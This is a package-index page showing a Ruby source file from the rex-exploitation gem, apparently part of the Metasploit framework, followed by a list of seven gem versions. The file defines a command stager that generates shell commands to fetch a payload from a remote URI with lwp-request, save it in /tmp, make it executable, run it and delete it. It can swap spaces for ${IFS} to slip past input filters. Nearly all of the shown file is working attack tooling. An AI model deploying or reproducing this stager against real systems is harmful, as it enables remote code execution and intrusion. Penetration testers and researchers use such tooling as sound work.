Sha256: 70e9d7402f6362507876d40bd6c816c7a7b32a00466f9fa762cec5c13ff57083

Contents?: true

Size: 932 Bytes

Versions: 7

Compression:

Stored size: 932 Bytes

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerLwpRequest < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /^lwp-request/
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    ["lwp-request -m GET #{opts[:payload_uri]} > #{@payload_path}"]
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

7 entries across 7 versions & 1 rubygems

Version Path
rex-exploitation-0.1.28 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.27 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.26 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.25 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.24 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.23 lib/rex/exploitation/cmdstager/lwp-request.rb
rex-exploitation-0.1.22 lib/rex/exploitation/cmdstager/lwp-request.rb